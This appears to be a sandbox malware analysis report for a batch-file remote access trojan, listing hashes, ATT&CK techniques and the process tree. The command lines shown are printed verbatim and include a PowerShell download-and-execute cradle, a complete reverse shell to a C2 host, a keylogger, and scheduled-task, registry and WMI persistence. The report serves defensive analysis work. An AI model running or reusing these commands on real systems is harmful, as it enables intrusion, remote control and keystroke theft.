3566fff47de9c209ceef83d5e3a9aeebe194e052f6dc8a2125afc1a818de183a

Analysis

max time kernel
149s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
29/05/2026, 01:48

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General

Target
rat_build_328917_014830.bat
Size 4KB
Sample260529-b8dk2aas8l
SHA256 3566fff47de9c209ceef83d5e3a9aeebe194e052f6dc8a2125afc1a818de183a
MD5 1b19751dff99569ed3d717c845afa74b
SHA1 6b39a492f6e2ff5aca873f736995fa0ea697fca0
SHA512 4ce8ce3207862e6458261acfa4cf403d8f7dc0aa74b12ec0e7c80373806f6eed8165e0dc635ec41d650587e7806cb6a09b8aa860f2017749b0862a7c131f589f
SSDEEP 96:IIL8P9WUUDq7O/qsLV9fCRy53NMimROW6DFWsJTMcgUQnMwgG0UiiFgZk8mvlo14:ItP0UUDMO/qsjfd3x8oTpvQnMwJYiFgS
TLSH
T1D5A1F72773D7762089701A88DD7238614B2CE9FF1341C6DDEA48CDC41B4DA63A025AE7
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

execution persistence

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
http://payload.server/update_328917.ps1

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
1460	powershell.exe
3896	powershell.exe
2000	powershell.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-204488895-2999877624-296153668-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Updater_328917 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\_328917.bat"	reg.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
3	checkip.amazonaws.com

Gathers network information 2 TTPs 1 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
3628	NETSTAT.EXE

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

T1082

pid	Process
3616	systeminfo.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
4396	reg.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
4736	schtasks.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
3896	powershell.exe
3896	powershell.exe
1460	powershell.exe
1460	powershell.exe
2000	powershell.exe
2000	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeIncreaseQuotaPrivilege	1764	WMIC.exe
Token: SeSecurityPrivilege	1764	WMIC.exe
Token: SeTakeOwnershipPrivilege	1764	WMIC.exe
Token: SeLoadDriverPrivilege	1764	WMIC.exe
Token: SeSystemProfilePrivilege	1764	WMIC.exe
Token: SeSystemtimePrivilege	1764	WMIC.exe
Token: SeProfSingleProcessPrivilege	1764	WMIC.exe
Token: SeIncBasePriorityPrivilege	1764	WMIC.exe
Token: SeCreatePagefilePrivilege	1764	WMIC.exe
Token: SeBackupPrivilege	1764	WMIC.exe
Token: SeRestorePrivilege	1764	WMIC.exe
Token: SeShutdownPrivilege	1764	WMIC.exe
Token: SeDebugPrivilege	1764	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1764	WMIC.exe
Token: SeRemoteShutdownPrivilege	1764	WMIC.exe
Token: SeUndockPrivilege	1764	WMIC.exe
Token: SeManageVolumePrivilege	1764	WMIC.exe
Token: 33	1764	WMIC.exe
Token: 34	1764	WMIC.exe
Token: 35	1764	WMIC.exe
Token: 36	1764	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1764	WMIC.exe
Token: SeSecurityPrivilege	1764	WMIC.exe
Token: SeTakeOwnershipPrivilege	1764	WMIC.exe
Token: SeLoadDriverPrivilege	1764	WMIC.exe
Token: SeSystemProfilePrivilege	1764	WMIC.exe
Token: SeSystemtimePrivilege	1764	WMIC.exe
Token: SeProfSingleProcessPrivilege	1764	WMIC.exe
Token: SeIncBasePriorityPrivilege	1764	WMIC.exe
Token: SeCreatePagefilePrivilege	1764	WMIC.exe
Token: SeBackupPrivilege	1764	WMIC.exe
Token: SeRestorePrivilege	1764	WMIC.exe
Token: SeShutdownPrivilege	1764	WMIC.exe
Token: SeDebugPrivilege	1764	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1764	WMIC.exe
Token: SeRemoteShutdownPrivilege	1764	WMIC.exe
Token: SeUndockPrivilege	1764	WMIC.exe
Token: SeManageVolumePrivilege	1764	WMIC.exe
Token: 33	1764	WMIC.exe
Token: 34	1764	WMIC.exe
Token: 35	1764	WMIC.exe
Token: 36	1764	WMIC.exe
Token: SeIncreaseQuotaPrivilege	5052	WMIC.exe
Token: SeSecurityPrivilege	5052	WMIC.exe
Token: SeTakeOwnershipPrivilege	5052	WMIC.exe
Token: SeLoadDriverPrivilege	5052	WMIC.exe
Token: SeSystemProfilePrivilege	5052	WMIC.exe
Token: SeSystemtimePrivilege	5052	WMIC.exe
Token: SeProfSingleProcessPrivilege	5052	WMIC.exe
Token: SeIncBasePriorityPrivilege	5052	WMIC.exe
Token: SeCreatePagefilePrivilege	5052	WMIC.exe
Token: SeBackupPrivilege	5052	WMIC.exe
Token: SeRestorePrivilege	5052	WMIC.exe
Token: SeShutdownPrivilege	5052	WMIC.exe
Token: SeDebugPrivilege	5052	WMIC.exe
Token: SeSystemEnvironmentPrivilege	5052	WMIC.exe
Token: SeRemoteShutdownPrivilege	5052	WMIC.exe
Token: SeUndockPrivilege	5052	WMIC.exe
Token: SeManageVolumePrivilege	5052	WMIC.exe
Token: 33	5052	WMIC.exe
Token: 34	5052	WMIC.exe
Token: 35	5052	WMIC.exe
Token: 36	5052	WMIC.exe
Token: SeIncreaseQuotaPrivilege	5052	WMIC.exe

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 4700 wrote to memory of 4736	4700	cmd.exe	88
PID 4700 wrote to memory of 4396	4700	cmd.exe	89
PID 4700 wrote to memory of 1764	4700	cmd.exe	90
PID 4700 wrote to memory of 5052	4700	cmd.exe	91
PID 4700 wrote to memory of 3984	4700	cmd.exe	92
PID 4700 wrote to memory of 3616	4700	cmd.exe	96
PID 4700 wrote to memory of 3628	4700	cmd.exe	101
PID 4700 wrote to memory of 3896	4700	cmd.exe	102
PID 4700 wrote to memory of 1460	4700	cmd.exe	103
PID 4700 wrote to memory of 2000	4700	cmd.exe	104

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\rat_build_328917_014830.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:4700
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn "WinUpdate_328917" /tr "C:\Users\Admin\AppData\Local\Temp\_328917.bat" /sc onlogon /ru "SYSTEM" /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:4736
- C:\Windows\system32\reg.exe
  reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v "Updater_328917" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\_328917.bat" /f
  2⤵
  - Adds Run key to start application
  - Modifies registry key
  PID:4396
- C:\Windows\System32\Wbem\WMIC.exe
  wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE Name="filt_328917", EventNameSpace="root\cimv2", QueryLanguage="WQL", Query="SELECT * FROM Win32_ProcessStartTrace WHERE ProcessName='explorer.exe'"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:1764
- C:\Windows\System32\Wbem\WMIC.exe
  wmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer CREATE Name="cons_328917", CommandLineTemplate="cmd /c C:\Users\Admin\AppData\Local\Temp\_328917.bat"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:5052
- C:\Windows\system32\curl.exe
  curl -s http://checkip.amazonaws.com -o C:\Users\Admin\AppData\Local\Temp\ip_328917.txt
  2⤵
  PID:3984
- C:\Windows\system32\systeminfo.exe
  systeminfo
  2⤵
  - Gathers system information
  PID:3616
- C:\Windows\system32\NETSTAT.EXE
  netstat -an
  2⤵
  - Gathers network information
  PID:3628
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "IEX((New-Object Net.WebClient).DownloadString('http://payload.server/update_328917.ps1'))"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:3896
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "$client = New-Object System.Net.Sockets.TCPClient('c2.server.com',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:1460
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "$w=(New-Object -ComObject WScript.Shell).Popup("Updating...",0,"Windows",0+48);$k=New-Object -ComObject WScript.Shell;$k.Run("powershell -WindowStyle Hidden -Command "$d=[Environment]::GetFolderPath('Desktop');$i=0;while($true){$key=[Console]::ReadKey($true);$t=$key.Key.ToString();if($t -eq 'Enter'){$t='[ENTER]'};Add-Content -Path $d\log.txt -Value $t}"),0,true"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:2000

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55
MD5 2f57fde6b33e89a63cf0dfdd6e60a351
SHA1 445bf1b07223a04f8a159581a3d37d630273010f
SHA512 42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220
TLSH
T15F51EE323375B1D8C9167F071E68198053BF4355EAA4AF1CB69C625EDD2640B9F222F3
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 7631298a59b1fc6fd1f5fb1343a354b03e8efd5ad08a96e3b8d2d918c9637d37
MD5 427eb482e76f52687690d49917063bd1
SHA1 270c8155ad155cf77e62ae6344a7c2c7673901a5
SHA512 2cfe2762c71b446a38cf749f6b8eeee69a8529b0fbac763174b1abffec4668693cf6d19db52b94b79b745e63e5fc7567a5bb66e943612fc06721f2dc2392625a
TLSH
T131117627F39CC921CC96153A409DAC1172B683DB81AEDF9FAFC4D214A07F984CB712A4
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 20a6a25748351164ef9a33b1b09e4e3b12bc101a3d12891d00669a15b2b25bdf
MD5 3d60e7c9ef409fbfd9e405db511fefc5
SHA1 04e823c0c2bef7c9326bdad006e6e946ceec3e74
SHA512 cf92ca9de6860785cf0c10c4c04452afc64d87cc2a11990f506bec0bc5fe99346fa87e4e9808cd09c3d079232f5400d6fcd57cd976316f36941fc672fe97747c
TLSH
T150115727B39C89A1CC96163A409D9C1172B783D7409EDEDF6BC0D214E1BF584CB61190
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_aez1hbgx.hav.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_aez1hbgx.hav.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

memory/3896-10-0x0000024238F00000-0x0000024238F22000-memory.dmp

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